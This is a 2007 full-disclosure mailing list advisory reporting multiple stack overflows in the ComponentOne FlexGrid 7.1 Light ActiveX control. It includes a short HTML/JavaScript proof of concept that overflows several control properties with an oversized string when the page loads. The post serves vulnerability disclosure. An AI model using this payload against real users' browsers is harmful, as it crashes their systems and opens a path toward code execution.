full-disclosure - ComponentOne FlexGrid 7.1 Light Multiple Stack Overflows

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Date: Thu, 15 Nov 2007 11:47:17 -0500 (GMT-05:00)
From: Elazar Broad <elazarb@...thlink.net>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: ComponentOne FlexGrid 7.1 Light Multiple Stack
	Overflows

The ComponentOne FlexGrid 7.1 (VSFlexGrid.VSFlexGridL) has multiple stack overflows. I have not tested code execution nor do I remember what this component was installed with. PoC as follows:

--------------------
<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
     var s = "AAAA";

     while (s.length < 262145) s=s+s;

     var obj = new ActiveXObject("VSFlexGrid.VSFlexGridL");

     obj.Text = s;
     obj.EditSelText = s; 
     obj.EditText = s;
     obj.CellFontName = s;
   }
  </script>

 </head>  
 <body onload="JavaScript: return Check();" />
</html>
--------------------

Elazar

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